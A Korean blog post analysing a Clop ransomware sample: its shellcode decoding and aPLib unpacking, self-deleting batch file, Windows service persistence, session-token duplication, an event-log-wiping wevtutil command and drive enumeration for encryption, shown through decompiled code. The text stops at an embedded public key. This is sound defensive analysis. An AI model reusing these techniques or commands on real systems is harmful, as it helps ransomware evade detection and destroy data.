블로그 이전했습니다. https://jeongzero.oopy.io/
[Ransomware] clob 랜섬웨어 분석
본문 바로가기
보안/악성코드 분석

[Ransomware] clob 랜섬웨어 분석

728x90

0. 목차


1. 악성코드 개요


1.1) 개요


11월 22일 E사의 오프라인 점포 23곳이 랜섬웨어 감염으로 긴급 휴점에 돌입했다. 유포경로에 대한 정보는 아직 밝혀진게 없으며 최근에 발생한 이슈임에 따라, 랜섬웨어의 동작과정을 자세하게 분석해볼 것이다

1.2) 분석 정보


분석 환경

IndexTags
OSWindow 7Window10
Tools010 EditorIDA ProProcess Hackerx32dbg

분석 대상

IndexTags
MD58b6c413e2539823ef8f8b85900d19724
SHA2565d9e5c7b1b71af3c5f058f8521d383dbee88c99ebe8d509ebc8aeb52d4b6267b
FunctionCrypto
File Size182KB
File TypeWin32 EXE
Creation Time2020-11-20 18:18:18

2. 상세분석


2.1) 행위 분석


악성코드는 실제 Window Service 형태로 등록되어 동작한다

악성코드가 실행되면 내부에서 WinCheckDRVs 라는 이름의 서비스를 등록한뒤 해당 서비스를 실행시킨다. 서비스가 정상적으로 동작되면 몇초 후 암호화된 파일들과 키파일 그리고 랜섬노트가 생성된다. 윈도우 Service로 등록되었기 때문에 백그라운드에서 지속적으로 파일들을 암호화한다

  • test.txt ⇒ 암호화된 파일
  • test.txt.Cllp ⇒ 키파일
  • README_README.txt ⇒ 랜섬노트

암호화 되기 전 test.txt
감염되어 암호화된 test.txt

2.2) 쉘코드 추출


  • WinMain()

    메인함수 초반부분을 보면 여러 동작을 하는데 별 의미없는 로직이 많다. 또한 위 그림과 같이 50만번 루프를 도는 로직을 볼 수 가 있는데 이 역시 의미없는 로직이다. 단지 분석가들의 분석 시간을 딜레이 시키는 역할로 보면 된다.

    추가로 분서 시스템 내에서 초기 몇십만개의 명령문을 먼저 테스트하고 해당 바이너리가 악성행위를 하는지 안하는지 확인하는 경우도 있다고 한다. 이런경우 위 더미 루프를 이용하여 우회하려는 목적 중 하나이기도 하다. 실제 의미있는 동작은 아래의 함수부터 시작된다

  • sub_401000()

    VirtualAlloc 을 이용하여 메모리 영역을 할당받고 해당 영역을 함수포인터형태로 저장함으로 보아 해당 영역에 쉘코드를 담을것으로 추론된다. 또한 &unk_40933C 주소를 저장한다. 해당 영역에는 다음과 같은 값이 저장되어 있다

    unk_40933c 주소를 저장하고 for문을 돌면서 할당받은 memory 영역에 특정 연산을 거친 값이 저장되는데 이는 .data 영역에 들어있는 값을 0x4559와 xor 등의 연산을 통해 계산된 결과 값이다.

    이렇게 루프를 총 0x564만큼 돌면서 4바이트씩 인코드되어있던 쉘코드를 디코딩후 저장한다. 그다음 GetModuleHandleW() 함수를 호출하여 kernel32 dll의 핸들을 받아온다.

    이제 얻어온 kernel32의 핸들값을 인자로하여 디코딩된 쉘코드를 호출한다. 디코딩된 쉘코드를 동적으로 디버깅하여 뽑아보자

    0x240000 영역의 주소가 VirtualAlloc으로 할당받은 영역이고 해당 영역에 0x564*4 만큼의 디코딩된 쉘코드가 써졌다. 따라서 0x240000 ~ 0x240000+0x564*4 만큼을 덤프하면 shellcode를 추출할 수 있다.

2.3) 쉘코드 복호화


추출한 쉘코드를 IDA로 확인해보면 이 역시 함수가 몇 개없는 것으로 보아 또 뭐가 되있는것 같다. 확인해보면 여러 API 문자열을 변수에 저장을 한다음 al(hkernel32 핸들), v11(GeProcAddress)를 인자로 하여 sub_1110() 함수를 호출한다. 해당 함수는 다음과 같은 기능을 한다

  • sub_1110() ← *토글 선택*

    해당 함수는 pe feature를 파싱하는 기능으로 kernel32.dll의 0x3C+0x78 오프셋에 위치해 있는 필드값을 가져온다. 해당 필드는 export table의 주소로써 다음과 같은 pe 구조를 띈다

    PE 헤더를 기준으로 0x3C 오프셋에는 IMAGE_NT_HEADER 구조체의 시작 오프셋 값이 들어있다. 그다음 NT 헤더를 기준으로 0x18에는 Optional Header가 존재하는데, 이는 NT헤더 구조체의 SizeofOptionalHeader 필드 값에 따라서 가변이다. Optional Header + 0x60에는 export table 구조체의 시작 오프셋 값이 들어있다.

    결국 v4는 kernel32.dll의 export table의 주소가 담기게 된다. 그다음 루프를 돌면서 sub_FE0() 를 호출한다. sub_FE0() 함수의 반환값이 0이 되야지 0이 return 안될것이다. 해당 함수를 또 봐보자

    첫번재 인자는 'GetProcAddress' 이고 a2에는 kernel32+export_table[8]+i의 값이 들어간다. 결국 a2는 export table의 AddressOfNames 필드의 값이 들어가고 찾고자 하는 함수명을 해당 배열에 찾으면 0이 반환된다.

    요약하자면 export table에서 두번째 인자로 넘어온 함수의 주소값을 구하는 기능이다.

결국 result에는 GetProcAddress 함수의 주소가 담기고 GetPorcAddress() 를 이용하여 사용하려는 api 들의 주소값들은 구한다. (v24,v18,v17 ...)

VirtualAlloc, VirtualFree, VirtualProtect, TerminateThread, LoadLibrayA 함수들의 주소를 정상적으로 구했다면 VirtualQuery() 를 호출한다.

VirtualQuery() 함수란? 프로세스의 주소 공간 내의 특정 메모리에 대해 다양한 정보와 크기, 저장소의 형태 , 권한 같은 리소스를 얻을 수 있다.

retaddr 는 맨처음 악성코드에서 call shellcode() 의 호출이 끝나고 수행될 주소가 담겨져 있다. 즉 맨처음 악성코드명을 sample이라고 했을때 sample 바이너리가 매핑된 주소공간 페이지의 정보가lpBuffer에 담긴다.

lpBuffer는 구조체 변수로 다음과 같은 필드로 구성된다

typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase; 
  DWORD  AllocationProtect;
  WORD   PartitionId;
  SIZE_T RegionSize;
  DWORD  State;
  DWORD  Protect;
  DWORD  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

lpBuffer[1] 값을 baseAddr변수에 저장한다. 해당 영역은 sample.exe의 ImageBase 주소이다.

eax = sample.exe's Imagebase

그다음 del_flag 가 참이면 어떤 함수를 호출한다. 이때의 del_flag 는 sample.exe 에서

'call shellcode(arg1,arg2)' 명령어의 두번째 인자이다. 사실 현재 call shellcode는

두번째 인자가 0이여서 조건문에 만족하진 않는다. 하지만 어떤 함수인지 한번 살펴보자.

  • sub_8C0() ← *토글 선택*
    void __cdecl sub_8C0(int args_, int (__stdcall *GetProcAddress_)(int, char *))
    {
    	...생략...
      strcpy(v4, "ex.bat");
      strcpy(v22, "CreateFileA");
      strcpy(v16, "CreateProcessA");
      strcpy(v5, "WriteFile");
      strcpy(v20, "CloseHandle");
      strcpy(v6, "GetModuleFileNameA");
      strcpy(v11, "lstrcpyA");
      strcpy(v12, ":R\r\ndel \"");
      strcpy(v8, "\"\r\nif exist \"");
      strcpy(v7, "\" goto R\r\ndel \"");
      v19[0] = 34;
      v19[1] = 13;
      v19[2] = 10;
      v19[3] = 0;
      v17 = (int (__stdcall *)(char *, int, _DWORD, _DWORD, int, int, _DWORD))GetProcAddress_(args_, v22);
      lstrcpyA = (void (__stdcall *)(char *, char *))GetProcAddress_(args_, v11);
      v23 = (void (__stdcall *)(_DWORD, char *, int))GetProcAddress_(args_, v6);
      v24 = (void (__stdcall *)(int))GetProcAddress_(args_, v20);
      WriteFile = (void (__stdcall *)(int, char *, int, char *, _DWORD))GetProcAddress_(args_, v5);
      v3 = (void (__stdcall *)(_DWORD, char *, _DWORD, _DWORD, _DWORD, int, _DWORD, _DWORD, int *, char *))GetProcAddress_(args_, v16);
      v23(0, v25, 260);
      result = v17(v4, 0x40000000, 0, 0, 2, 128, 0);// CreateFileA
      if ( result != -1 )
      {
        memset(v14, 0, 256);
        lstrcpyA(v14, v12);
    		...
        WriteFile(result, v14, v2, &v7[16], 0);
    	  ...
        CreateProcessA(0, v4, 0, 0, 0, 16, 0, 0, v9, v18);
      }
    }

    CreateFileA 함수로 ex.bat이름의 배치파일을 만든다. 배치파일의 내용은 루프를 돌면서 자가삭제를 진행한다. 생성된 ex.bat 코드는 다음과 같다

    :R
    del "C:\Users\IEUser\Desktop\malware\clob2020\sample"
    if exist "C:\Users\IEUser\Desktop\malware\clob2020\sample" goto R
    del "ex.bat"

    돌아가고 있는 프로세스를 확인해보면 cmd.exe 프로세스가 새로 생성된걸 볼 수 있다. 지금은 sample 프로세스가 동작중이라 삭제는 안되고, 프로세스가 종료되는 시점에 sample 과 ex.bat을 삭제할 것이다

요약하자면 위 함수는 자가 삭제 배치파일을 만들어 흔적을 지우는것 같다. 계속 이어나가보자

VirtualAlloc 으로 각각 0x19D48, 0x20200 만큼의 메모리를 할당한다. 각각의 사이즈는 sample.exe에서 call shellcode 에서 넘어온 인자이다.

call shellcode 부분을 다시 살펴보면 hkernel32 = (int)GetModuleHandleW(L"kernel32");// args[0] ..... dword_425994 = (int)&unk_40A8D0; // args[1] .... dword_425998 = 105800; // args[2] .... dword_42599C = dword_40A8CC; // args[3] .... dword_4259A0 = dword_424618; // args[4] .... shellcode(&hkernel32, 0); 즉 hkernel32주소가 shellcode()의 인자로 호출되고 VirtualAlloc으로 사용되는 인자는 위와 같다

메모리를 할당받은 다음, args[2] 사이즈인 0x19D48만큼 루프를 돌면서 할당받은 v27배열에 특정연산을 거친 값을 넣는다. args[1]은 초기 sample.exe에서 디코딩하기 전 인코딩된 쉘코드 부분이다. 루프가 끝나면 v27에는 새롭게 연산된 쉘코드가 쌓일것이다

그다음 다시 for문을 돌면서 while루프의 결과로 씌여진 v23 배열에 특정연산을 한번더 거친다. 그 후 v23과 아까 0x20200 사이즈로 할당받은 v27영역을 인자로하여 sub_1270 함수를 호출한다. 해당 함수의 반환값이 참이면 조건문 안의 로직이 수행된다. 해당 함수가 어떤기능을 하는지 살펴보자.

  • sub_1270 ← *토글 선택*
    char *__cdecl sub_1270(char *a1, char *a2)
    {
     .....생략.....
    
      while ( !v7 )
      {
        if ( sub_11C0(&v4) )
        {
          if ( sub_11C0(&v4) )
          {
            if ( sub_11C0(&v4) )
            {
              v8 = 0;
              for ( i = 4; i; --i )
              {
                v2 = sub_11C0(&v4);
                v8 = v2 + 2 * v8;
              }
              if ( v8 )
                *v5 = v5[-v8];
              else
                *v5 = 0;
              ++v5;
              v12 = 0;
            }
            else
            {
              v8 = (unsigned __int8)*v4++;
              v9 = (v8 & 1) + 2;
              v8 >>= 1;
              if ( v8 )
              {
                memset(v5, v5[-v8], v9);
                v5 += v9;
                v9 = 0;
              }
              else
              {
                v7 = 1;
              }
              v10 = v8;
              v12 = 1;
            }
          }
          else
          {
            v8 = sub_1230(&v4);
            if ( v12 || v8 != 2 )
            {
              if ( v12 )
                v8 -= 2;
              else
                v8 -= 3;
              v8 <<= 8;
              v8 += (unsigned __int8)*v4++;
              v9 = sub_1230(&v4);
              if ( v8 >= 0x7D00 )
                ++v9;
              if ( v8 >= 0x500 )
                ++v9;
              if ( v8 < 0x80 )
                v9 += 2;
              memset(v5, v5[-v8], v9);
              v5 += v9;
              v9 = 0;
              v10 = v8;
            }
            else
            {
              v8 = v10;
              v9 = sub_1230(&v4);
              memset(v5, v5[-v8], v9);
              v5 += v9;
              v9 = 0;
            }
            v12 = 1;
          }
        }
        else
        {
          *v5++ = *v4++;
          v12 = 0;
        }
      }
      return (char *)(v5 - a2);
    }

    while 루프를 돌면서 뭔지모를 연산을 한다. 이럴땐 상수값들은 검색해보면서 어떤 기능인지 추론할 수가 있다고 한다.

    상수를 중심으로 검색해보면 aplib이라는 압축 관련 알고리즘이 나온다. aplib decompression 이라는 키워드를 중심으로 다시 검색해보면 아래와 같은 코드를 찾을 수 있다

    snemes/aplib
    Module for decompressing aPLib compressed data. Contribute to snemes/aplib development by creating an account on GitHub.
    https://github.com/snemes/aplib/blob/master/aplib.py

    sub_1270 함수와 위 코드를 매칭해보면 0x7d00, 0x500, 0x80 상수 비교하는 로직이 동일하다. 따라서 위 함수는 aplib 압축해제 기능이라고 보면 된다. 즉 디코딩된 쉘코드를 압축해제하여 v27 변수에 저장한다. 이 역시 동적으로 추출하면 쉽게 뽑을수 있다

결국 위 함수도 어떤 압축된 쉘코드를 추출하를 기능이므로 우리가 궁금한건 v27에 담긴 값이다.

0x5E0000+0x20200 만큼의 영역에 압축해제된 쉘코드가 담기므로 위 영역을 덤프떠보자

덤프뜬 쉘코드를 디컴파일러로 확인해보면 이전과는 다르게 많은 함수들이 나오는걸 볼 수 있다. 해당 쉘코드가 실제 악성행위를 하는 바이너리이다. 이렇게 덤프를 뜬 쉘코드가 실제 악성행위를 한다는것을 확인했으므로 해당 쉘코드가 어떻게 호출되는지를 이어서 살펴보자.

if ( sub_1270(v22, decompress_shellcode) ) // decompress success!!
      {
        VirtualFree(v22, 0, 0x8000);
        v11 = &decompress_shellcode[*((_DWORD *)decompress_shellcode + 0xF)];
        if ( VirtualProtect(baseAddr, *((_DWORD *)v11 + 0x14), 0x40, v30) )
        {
          memset(baseAddr, 0, *((_DWORD *)v11 + 0x14));// memset(0x400000,0,27000)

          overwrite_sample_to_decomp_shell((char *)baseAddr,decompress_shellcode, *((_DWORD *)v11 + 21));
          // sample <- decomp_shell~+0x400

          v11 = (char *)baseAddr + *((_DWORD *)decompress_shellcode + 0xF);// v11=0x4000f8
          v9 = &v11[*((unsigned __int16 *)v11 + 0xA) + 0x18];// v9 = .text 영역 
                                // 즉 decompress된 쉘코드를 sample로 덮은다음 sample의 .text 주소임

          for ( j = 0; j < *((unsigned __int16 *)v11 + 3); ++j )// 7회반복
            // sub_FA0(0x401000+0x10000*i,decom_shel+0x400+0xFC00*i,0xfc00)
            overwrite_sample_to_decomp_shell((char *)baseAddr + *(_DWORD *)&v9[40 * j + 12],&decompress_shellcode[*(_DWORD *)&v9[40 * j + 20]], *(_DWORD *)&v9[40 * j + 16]);

          if ( *((void **)v11 + 13) != baseAddr )
            sub_670((int)baseAddr, (int)baseAddr - *((_DWORD *)v11 + 13));

          import_func((char *)baseAddr, LoadLibraryA, (int (__stdcall *)(int, int))GetprocAddress_);

          for ( k = NtCurrentTeb()->NtTib.ExceptionList; LOBYTE(k->Next) != 0xFF; k = k->Next )
            ;
        
          v20 = (int (*)(void))((char *)baseAddr + *((_DWORD *)v11 + 10));
          sub_860((int)baseAddr, (int)v20);
          v18 = v20();          // v20() -> 43..c2c() 가 결국 winmain
          TerminateThread(-2, v18);
        }
      }

중요 부분만 형광표시를 해놨다. 요놈들 위주로 살펴보자

  • 메모리 권한 변경
    if ( VirtualProtect(baseAddr, *((_DWORD *)v11 + 0x14), 0x40, v30) )

    baseAddr은 현재 sample 의 ImageBase 주소를 가리키고 있다. VitualProtect 함수를 통해 sample 바이너리의 메모리 권한을 EWX로 변경한다.

    VirtualProtect 호출 전
    VirtualProtect 호출 후

이를 통해 메모리 상에 올라와있는 원본 바이너리에 추출한 쉘코드를 overwrite할 것으로 보인다

  • sample + 0x400 영역을 overwrite
    overwrite_sample_to_decomp_shell((char *)baseAddr,decompress_shellcode, *((_DWORD *)v11 + 21));

    baseAddr(0x40000) + 0x400 에는 .text 영역의 주소이다. 따라서 .text 영역 이전의 pe 정보들을 덮는다는걸 알 수 있다

  • overwrite 7 sections → sample
    for ( j = 0; j < *((unsigned __int16 *)v11 + 3); ++j )// 7회반복
    	overwrite_sample_to_decomp_shell((char *)baseAddr + *(_DWORD *)&v9[40 * j + 12],&decompress_shellcode[*(_DWORD *)&v9[40 * j + 20]], *(_DWORD *)&v9[40 * j + 16]);

    추출한 쉘코드의 각 섹션데이터를 samplme로 overwrite한다.

    추출한 쉘코드의 PE 구조

  • sample IAT 복구
    import_func((char *)baseAddr, LoadLibraryA, (int (__stdcall *)(int, int))GetprocAddress_);

    해당 함수내부에서는 필요한 DLL, API 를 구하여 overwrite한 sample의 IAT를 복구한다. 즉 기존 sample을 덮었으므로 기존 IAT는 망가졌기 때문에 이를 복구하는것 이다.

  • 실제 추출한 쉘코드 호출
     v18 = v20();          // v20() -> 43..c2c() 가 결국 winmain

    이제 overwrite한 sample로 뛰게된다. 해당영역은 기존의 영역이 아닌 추출된 쉘코드 값이 담겨있다.

    0x403CA3 으로 이동하게 되고 해당 영역은

    char *start()
    {
      __security_init_cookie();
      return __scrt_common_main_seh();
    }

    추출한 쉘코드의 start() 영역이다. 초기 세팅 후 WinMain으로 이동하게 된다

2.4) 악성행위 분석


int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  
	...생략...

   if ( GetACP() )
  {
    ServiceStartTable.lpServiceName = L"WinCheckDRVs";
    ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONW)sub_411B40;
    v33 = 0;
    v34 = 0;
    if ( !StartServiceCtrlDispatcherW(&ServiceStartTable) )
      TerminateProcess((HANDLE)0xFFFFFFFF, 0);
  }
  v18(0xFFFFFFFF);
  TerminateProcess((HANDLE)0xFFFFFFFF, 0);
  return 0;
}

초기 WinCheckDRVs 이름의 서비스명을 등록하고 StartServiceCtrlDispatcherW 함수를 호출하여 등록한 sub_411B40 핸들러가 수행된다. 윈도우 서비스 동작과정은 아래와 같다

출처 : https://kblab.tistory.com/308

StartServiceCtrlDispatcherW 함수가 호출되고 서비스 컨트롤러에서 이를 받아 처리한다. 그다음 SCM을 통해 등록한 서비스 메인 핸들러가 실제 호출되고 여기서 실 동작이 일어난다. 해당 악성코드에서는 SvcMain()이 sub_411B40 이다.

참고로 윈도우 서비스를 디버깅하기위해선 일련의 작업이 필요하다

SERVICE_STATUS_HANDLE __stdcall sub_411B40(int a1, int a2)
{
  SERVICE_STATUS_HANDLE result; // eax
  HANDLE v3; // eax

  result = RegisterServiceCtrlHandlerW(L"WinCheckDRVs", HandlerProc);
  hServiceStatus = result;
  if ( result )
  {
    ServiceStatus.dwWaitHint = 0;
    ServiceStatus.dwServiceType = 16;
    ServiceStatus.dwControlsAccepted = 0;
    ServiceStatus.dwCurrentState = 2;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    SetServiceStatus(result, &ServiceStatus);
    hHandle = CreateEventW(0, 1, 0, 0);
    if ( hHandle )
    {
      ServiceStatus.dwControlsAccepted = 1;
      ServiceStatus.dwCurrentState = 4;
      ServiceStatus.dwWin32ExitCode = 0;
      ServiceStatus.dwCheckPoint = 0;
      SetServiceStatus(hServiceStatus, &ServiceStatus);
      v3 = CreateThread(0, 0, sub_411CB0, 0, 0, 0);
      WaitForSingleObject(v3, 0xFFFFFFFF);
      CloseHandle(hHandle);
      ServiceStatus.dwControlsAccepted = 0;
      ServiceStatus.dwCurrentState = 1;
      ServiceStatus.dwWin32ExitCode = 0;
      ServiceStatus.dwCheckPoint = 3;
    }
    else
    {
      ServiceStatus.dwControlsAccepted = 0;
      ServiceStatus.dwCurrentState = 1;
      ServiceStatus.dwWin32ExitCode = GetLastError();
      ServiceStatus.dwCheckPoint = 1;
    }
    result = (SERVICE_STATUS_HANDLE)SetServiceStatus(hServiceStatus, &ServiceStatus);
  }
  return result;
}

정리하면 다음과 같다

  1. WinMain에서 SCM에 서비스를 등록한다 - StartServiceCtrlDispatcherW
  1. SCM의 제어를 처리할 핸들러를 등록한다 - RegisterServiceCtrlHandlerW
  1. SCM에 작업이 시작됨을 알린다 - SetServiceStatus

윈도우 서비스로 동작할 일련의 위 과정을 거친 뒤 쓰레드를 생성하여 핸들러 함수(sub_411CB0)가 수행된다

주요함수1) sub_411CB0()


DWORD __stdcall sub_411CB0(LPVOID lpThreadParameter)
{
...

  v1 = (void (__stdcall *)(HANDLE))CloseHandle;
  do
  {
    v2 = CreateMutexW(0, 0, L"GKLJHWRnjktn32uyhrjn23io#666");
    if ( WaitForSingleObject(v2, 0) )
    {
      v1(v2);
      ExitProcess(0);
    }
    if ( GetACP() )
    {
      v3 = GlobalAlloc(0x40u, 0x104u);
      v4 = GlobalAlloc(0x40u, 0x104u);
      v5 = sub_411160(L"EXPLORER.EXE");
      sub_411240(v5, (int)v3, (int)v4);
      sub_4116B0(v3);
      ShellExecuteA(
        0,
        "open",
        "cmd.exe",
        "/C for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"",
        0,
        0);
    }
.....
  • CreateMutexW,WaitForSingleObject : 중복실행 방지를 위한 뮤텍스 생성
  • sub_41160("EXPLORER.EXE") : explorer.exe 프로세스 ID값 획득
    HANDLE __cdecl sub_411160(PCWSTR pszSrch)
    {
      HANDLE result; // eax
      HANDLE v2; // esi
      int v3; // eax
      PROCESSENTRY32W pe; // [esp+Ch] [ebp-438h] BYREF
      WCHAR String1[260]; // [esp+238h] [ebp-20Ch] BYREF
    
      result = CreateToolhelp32Snapshot(2u, 0);
      v2 = result;
      if ( result == (HANDLE)-1 || (pe.dwSize = 556, (result = (HANDLE)Process32FirstW(result, &pe)) == 0) )
      {
    LABEL_5:
        if ( v2 )
          result = (HANDLE)CloseHandle(v2);
      }
      else
      {
        while ( 1 )
        {
          lstrcpyW(String1, pe.szExeFile);
          v3 = lstrlenW(String1);
          CharUpperBuffW(String1, v3);
          if ( StrStrW(String1, pszSrch) )
            break;
          result = (HANDLE)Process32NextW(v2, &pe);
          if ( !result )
            goto LABEL_5;
        }
        CloseHandle(v2);
        result = (HANDLE)pe.th32ProcessID;
      }
      return result;
    }
    • CreateToolhelp32Snapshot : 32bit인 process들의 정보를 가져옴
    • Process32FirstW : 첫번째 process 정보를 가져옴
    • Process32NextW : 그 다음 process 정보를 가져옴
  • sub_411240(v5,v3) : 사용자 계정명 획득
    void __cdecl sub_411240(DWORD dwProcessId, int buffer)
    {
      HANDLE v2; // ebx
      HANDLE TokenHandle; // [esp+4h] [ebp-4h] BYREF
    
      v2 = OpenProcess(0x400u, 0, dwProcessId);
      if ( v2 )
      {
        TokenHandle = 0;
        if ( OpenProcessToken(v2, 8u, &TokenHandle) )// explore.exe의 토큰정보 얻음
        {
          sub_411030(TokenHandle, buffer);
          CloseHandle(TokenHandle);
          CloseHandle(v2);
        }
        else
        {
          CloseHandle(v2);
        }
      }
    }
    • OpenProcess : explorer.exe 프로세스 핸들값 획득
    • OpenProcessToken : explorer.exe 프로세스와 연관된 access token 획득
    • sub_411030(TokenHandle, buffer)
      void __cdecl sub_411030(HANDLE TokenHandle, int buffer)
      {
      .....
        if ( TokenHandle )
        {
          if ( GetTokenInformation(TokenHandle, TokenUser, 0, 0, &ReturnLength)// 얻은 토큰 핸들로부터 토큰정보 얻기. 즉 explore.exe 토큰정보
            || GetLastError() == 122 && (v5 = ReturnLength, v3 = GetProcessHeap(), (v2 = (PSID *)HeapAlloc(v3, 8u, v5)) != 0) )
          {
            if ( GetTokenInformation(TokenHandle, TokenUser, v2, ReturnLength, &ReturnLength) )
            {
              if ( LookupAccountSidW(0, *v2, Name, &cchName, ReferencedDomainName, &cchName, &peUse) )
              {
                lstrcpyW(lpString1, Name); // 획득한 계정명 복사
              }
              else if ( GetLastError() == 1332 )
              {
                return;
              }
            }
      ...........
        }
      }
      • GetTokenInformation : 위에서 획득한 access token 정보 획득
      • LookupAccountSidW : SID를 통한 사용자 계정명 획득

  • sub_4116B0(v3) : winsta0\default에 “runrun”을 파라미터로, 서비스 하위 응용프로그램 생성
    void *__cdecl sub_4116B0(const WCHAR *user_account_name)
    {
    ...
    
      if ( wcslen(user_account_name) <= 5 )
        result = (void *)sub_4112C0(0);
      else
        result = (void *)sub_4112C0(user_account_name);
      v2 = result;
      if ( result != (void *)-1 )
      {
        ProcessInformation = 0i64;
        memset(&StartupInfo.lpReserved, 0, 0x40u);
        StartupInfo.cb = 68;
        StartupInfo.lpDesktop = L"winsta0\\default";
        Environment = 0;
        if ( CreateEnvironmentBlock(&Environment, v2, 0) )
        {
          GetModuleFileNameW(0, Filename, 0x104u);
          wsprintfW(CommandLine, L"%s runrun", Filename);
          if ( CreateProcessAsUserW(
                 v2,
                 0,
                 CommandLine,
                 0,
                 0,
                 0,
                 0x8000428u,
                 Environment,
                 0,
                 &StartupInfo,
                 &ProcessInformation) )
          {
            RevertToSelf();
            DestroyEnvironmentBlock(Environment);
            CloseHandle(ProcessInformation.hThread);
            result = (void *)CloseHandle(ProcessInformation.hProcess);
          }
          else
    .....
      return result;
    }
    • sub_4112C0(user_account_name) : 얻은 사용자 계정명의 사이즈가 5보다 크면 유저명과 동일한 계정의 RD 세션토큰 수집
      int __cdecl sub_4112C0(LPCWSTR lpString)
      {
      ...
        phToken = 0;
        ppSessionInfo = 0;
        v1 = -1;
        pCount = 0;
        if ( !WTSEnumerateSessionsW(0, 0, 1u, &ppSessionInfo, &pCount) )// 현재 연결된 세션 리스트 수집
          return -1;
        v3 = 0;
        if ( !pCount )
          goto LABEL_14;
        v4 = 0;
        while ( 1 )
        {
          SessionId = *(_QWORD *)&ppSessionInfo[v4].SessionId;
          if ( ppSessionInfo[v4].State == WTSActive ) // 로그인되어있는 세션정보수집
            break;
      LABEL_12:
          ++v3;
          ++v4;
          if ( v3 >= pCount )
          {
            v1 = -1;
            goto LABEL_14;
          }
        }
        pBytesReturned = 0;
        ppBuffer = 0;
        if ( !lpString )
          goto LABEL_21;
        if ( lstrlenW(lpString)
          && (!WTSQuerySessionInformationW(0, SessionId, WTSUserName, &ppBuffer, &pBytesReturned)
           || lstrcmpiW(lpString, ppBuffer)) )
        {
          if ( ppBuffer )
            WTSFreeMemory(ppBuffer);
          goto LABEL_12;
        }
        if ( ppBuffer )
          WTSFreeMemory(ppBuffer);
      LABEL_21:
        v1 = SessionId;
      LABEL_14:
        WTSFreeMemory(ppSessionInfo);
        if ( v1 == -1 || !WTSQueryUserToken(v1, &phToken) )
          return -1;
        phNewToken = (HANDLE)-1;
        v5 = DuplicateTokenEx(phToken, 0xF01FFu, 0, SecurityImpersonation, TokenPrimary, &phNewToken);
        v6 = (int)phNewToken;
        if ( !v5 )
          v6 = -1;
        return v6;
      }
      • WTSEnumerateSessionsW : 원격 데스크탑 세션 호스트 리스트 정보 획득
      • WTSQuerySessionInformationW : 활성화된 RD 호스트 세션정보 획득
      • WTSQueryUserToken : 활성화된 세션 ID에서 지정한(v1) 로그온 사용자의 Primary Access Token 획득
      • DuplicateTokenEx : 위에서 얻은 토큰 정보 복사
    • sub_4112C0(0) : 유저명이 5이하면 현재 활성화된 RD 세션토큰 수집
    • GetModuleFileNameW : 현재 실행파일의 경로 획득(WinCheckDRVs 서비스 프로그램)
    • CreateProcessAsUserW : 복사한 RD 세션 토큰으로 현 서비스 하위에 응용 프로그램 생성. 인자는 runrun

      explorer.exe 토큰의 유저명에 해당하는 세션 토큰을 복사하고, 그 토큰 권한으로 프로세스를 만듦. 위 사진을 보면 testtest.exe 서비스 하위에 응용프로그램으로 자기 자신을 다시 추가한 것을 볼 수 가 있다.

  • ShellExecuteA : 이벤트 로그 삭제

...
lpParameter = GlobalAlloc(0x40u, 8u);
    for ( i = 0; i < 26; ++i )
    {
      wsprintfW(RootPathName, L"%c:", (unsigned __int16)(i + 'A'));
      v6 = GetDriveTypeW(RootPathName);
      *lpParameter = 0i64;
      memmove_0(lpParameter, RootPathName, 8u);
      if ( v6 == DRIVE_FIXED || v6 == DRIVE_REMOVABLE )
      {
        v7 = CreateThread(0, 0, sub_411E70, lpParameter, 0, 0);
        Sleep(0x3E8u);
        v11 = v7;
        v1 = (void (__stdcall *)(HANDLE))CloseHandle;
        CloseHandle(v11);
      }
      else
      {
        v1 = (void (__stdcall *)(HANDLE))CloseHandle;
      }
			Sleep(0x64u);
    }
    Sleep(0x1388u);
    v8 = CreateThread(0, 0, sub_411000, 0, 0, 0);
    v1(v8);
    Sleep(0xEA60u);
    v9 = CreateThread(0, 0, sub_412000, 0, 0, 0);
    v1(v9);
    Sleep(0xFFFFFFFF);
  }
}
  • A: ~ Z: 까지 폴더를 순위하면서 v6에 각 드라이브의 타입을 반환한다 - GetDriveTypeW
  • DRIVE_FIXED, DRIVE_REMOVABLE 타입이면 해당 드라이브르의 path를 인자로 쓰레드를 생성한다 → sub_411E70()
    • DRIVE_FIXED : 주로 사용하는 C:나 D: 같은 고정 하드디스크 타입
    • DRIVE_REMOVABLE : 제거 가능한 드라이브(ex. USB)
    • 즉 위 두개의 타입에 해당하는 모든 드라이브를 순회하며 암호화를 시도한다
  • CreateThread(0, 0, sub_411000, 0, 0, 0) : 네트워크 공유 드라이브 암호화 시도
  • CreateThread(0, 0, sub_412000, 0, 0, 0) : C 드라이브 암호화 시도

주요함수 2) sub_411E70()


DWORD __stdcall sub_411E70(LPVOID lpThreadParameter)
{
  ...

  lstrcpyW(String1, (LPCWSTR)lpThreadParameter);
  Sleep(0x3E8u);
  v1 = lstrlenA(Src);
  memmove(pszString, Src, v1);
  pcbBinary = 2048;
  if ( CryptStringToBinaryA(pszString, 0, 0, pbBinary, &pcbBinary, 0, 0) )
  {
    if ( CryptDecodeObjectEx(1u, (LPCSTR)8, pbBinary, pcbBinary, 0x8000u, 0, &pvStructInfo, &pcbStructInfo) )
    {
      phProv = 0;
      if ( CryptAcquireContextW(&phProv, 0, 0, 1u, 0xF0000000) )
      {
        phKey = 0;
        if ( CryptImportPublicKeyInfo(phProv, 1u, pvStructInfo, &phKey) )
        {
          Sleep(0x3E8u);
          while ( 1 )
          {
            sub_401BD0(String1, (int)L"*.*", (int)Src, 10, 1, 1, (int)pvStructInfo, phProv, phKey);
            Sleep(0x7530u);
            sub_401BD0(String1, (int)L"*.*", (int)Src, 10, 1, 0, (int)pvStructInfo, phProv, phKey);
            Sleep(0x7530u);
          }
        }
      }
    }
  }
  return 0;
}

우선 초기 Src 변수에 담긴 문자열의 사이즈를 저장하고, pszString 변수에 복사한다. 이 값은 아래와 같다

-----BEGIN PUBLIC KEY----- 
